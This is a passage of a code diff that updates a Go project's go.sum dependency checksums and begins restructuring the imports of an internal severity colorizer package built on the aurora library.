golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8=
@ -343,10 +501,10 @@ golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzB
golang.org/x/mod v0.1.1-0.20191107180719-034126e5016b/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181108082009-03003ca0c849/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
@ -365,24 +523,31 @@ golang.org/x/net v0.0.0-20200222125558-5a598a2470a0/go.mod h1:z5CRVTTTmAJ677TzLL
golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200301022130-244492dfa37a/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/net v0.0.0-20200421231249-e086a090c8fd/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/net v0.0.0-20200501053045-e0ff5e5a1de5/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/net v0.0.0-20200506145744-7e3656a0809f/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/net v0.0.0-20200513185701-a91f0712d120/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/net v0.0.0-20200520004742-59133d7f0dd7/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/net v0.0.0-20200520182314-0ba52f642ac2/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20210521195947-fe42d452be8f h1:Si4U+UcgJzya9kpiEUJKQvjr512OLli+gL4poHrz93U=
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.0.0-20201202161906-c7110b5ffcbb/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20210414194228-064579744ee0/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8=
golang.org/x/net v0.0.0-20210428140749-89ef3d95e781/go.mod h1:OJAsFXCWl8Ukc7SiCT/9KSuxbyM7479/AVlXFRxuMCk=
golang.org/x/net v0.0.0-20210521195947-fe42d452be8f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d h1:LO7XpTYMwTqxjLcGWPijK3vRXg1aWdlNOVOHRq45d7c=
golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.0.0-20181106182150-f42d05182288/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99 h1:5vD4XjIc0X5+kHZjx4UecYdjA6mJo+XXNoaW0EjU5Os=
golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
golang.org/x/oauth2 v0.0.0-20210817223510-7df4dd6e12ab h1:llrcWN/wOwO+6gAyfBzxb5hZ+c3mriU/0+KNgYu6adA=
golang.org/x/oauth2 v0.0.0-20210817223510-7df4dd6e12ab/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
@ -391,24 +556,33 @@ golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJ
golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9 h1:SQFwaSi55rU7vdNs9Yr0Z324VNlrF+0wMqRXT4St8ck=
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180903190138-2b024373dcd9/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20181205085412-a5c9d58dba9a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190626221950-04f50cda93cb/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200122134326-e047566fdf82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
@ -421,14 +595,21 @@ golang.org/x/sys v0.0.0-20200511232937-7e40ca221e25/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20200515095857-1151b9dac4a9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200905004654-be1d3432aa8f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201113233024-12cec1faf1ba/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210423082822-04245dca01da h1:b3NXsE2LusjYGGjL5bxEVZZORm/YEFFrWFjR8eFrw/c=
golang.org/x/sys v0.0.0-20210112080510-489259a85091/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210415045647-66c3f260301c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
golang.org/x/sys v0.0.0-20210426230700-d19ff857e887/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210601080250-7ecdf8ef093b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c h1:F1jZWGFhYfh0Ci55sIpILtKKK8p3i2/krTr0H1rg74I=
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210220032956-6a3ed077a48d/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
@ -439,9 +620,8 @@ golang.org/x/text v0.3.6 h1:aRYxNxv6iGQlyVaZmk6ZgYEDa+Jg18DxebPSrd6bg1M=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.0.0-20191024005414-555d28b269f0 h1:/5xXl8Y5W96D+TtHSlonuFqGHIWVuyCkGJLwGh9JJFs=
golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.0.0-20201208040808-7e3f01d25324 h1:Hir2P/De0WpUhtrKGGjvSb2YxUgyZ7EFOSLIcSSpiwE=
golang.org/x/time v0.0.0-20201208040808-7e3f01d25324/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
@ -477,12 +657,16 @@ golang.org/x/tools v0.0.0-20200304193943-95d2e580d8eb/go.mod h1:o4KQGtdN14AW+yjs
golang.org/x/tools v0.0.0-20200312045724-11d5b4c81c7d/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw=
golang.org/x/tools v0.0.0-20200331025713-a30bf2db82d4/go.mod h1:Sl4aGygMT6LrqrWclx+PTx3U+LnKx/seiNR+3G19Ar8=
golang.org/x/tools v0.0.0-20200501065659-ab2804fb9c9d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20200509030707-2212a7e161a5/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20200512131952-2bc93b1c0c88/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20200515010526-7d3b6ebf133d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20200618134242-20370b0cb4b2/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20200729194436-6467de6f59a7/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA=
golang.org/x/tools v0.0.0-20200804011535-6c149bb5ef0d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA=
golang.org/x/tools v0.0.0-20200825202427-b303f430e36d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA=
golang.org/x/tools v0.0.0-20201224043029-2b0845dc783e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.0.0-20210101214203-2dba1e4ea05c/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
@ -510,9 +694,8 @@ google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7
google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0=
google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
google.golang.org/appengine v1.6.6 h1:lMO5rYAqUxkmaj76jAkRUvt5JZgFymx/+Q5Mzfivuhc=
google.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c=
google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
@ -563,24 +746,30 @@ google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2
google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4=
google.golang.org/protobuf v1.25.0 h1:Ejskq+SyPohKW+1uil0JJMtmHCgJPJ/qWTxr8qp+R4c=
google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
google.golang.org/protobuf v1.26.0 h1:bxAC2xTBsZGibn2RTntX0oH50xLsqy1OxA9tTL3p/lk=
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
gopkg.in/corvus-ch/zbase32.v1 v1.0.0 h1:K4u1NprbDNvKPczKfHLbwdOWHTZ0zfv2ow71H1nRnFU=
gopkg.in/corvus-ch/zbase32.v1 v1.0.0/go.mod h1:T3oKkPOm4AV/bNXCNFUxRmlE9RUyBz/DSo0nK9U+c0Y=
gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
gopkg.in/fsnotify.v1 v1.4.7 h1:xOHLXZwVvI9hhs+cLKq5+I5onOuwQLhQwiu63xxlHs4=
gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=
gopkg.in/src-d/go-billy.v4 v4.3.0/go.mod h1:tm33zBoOwxjYHZIE+OV8bxTWFMJLrconzFMd38aARFk=
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ=
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0-20200605160147-a5ece683394c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
@ -590,6 +779,7 @@ honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWh
honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=
honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=
mvdan.cc/gofumpt v0.1.1/go.mod h1:yXG1r1WqZVKWbVRtBWKWX9+CxGYfA51nSomhM0woR48=
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0=
rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA=

44
v2/internal/colorizer/colorizer.go
View File

@ -1,24 +1,40 @@
package colorizer
import "github.com/logrusorgru/aurora"
import (
"fmt"
// Colorizer returns a colorized severity printer
type Colorizer struct {
Data map[string]string
}
"github.com/logrusorgru/aurora"
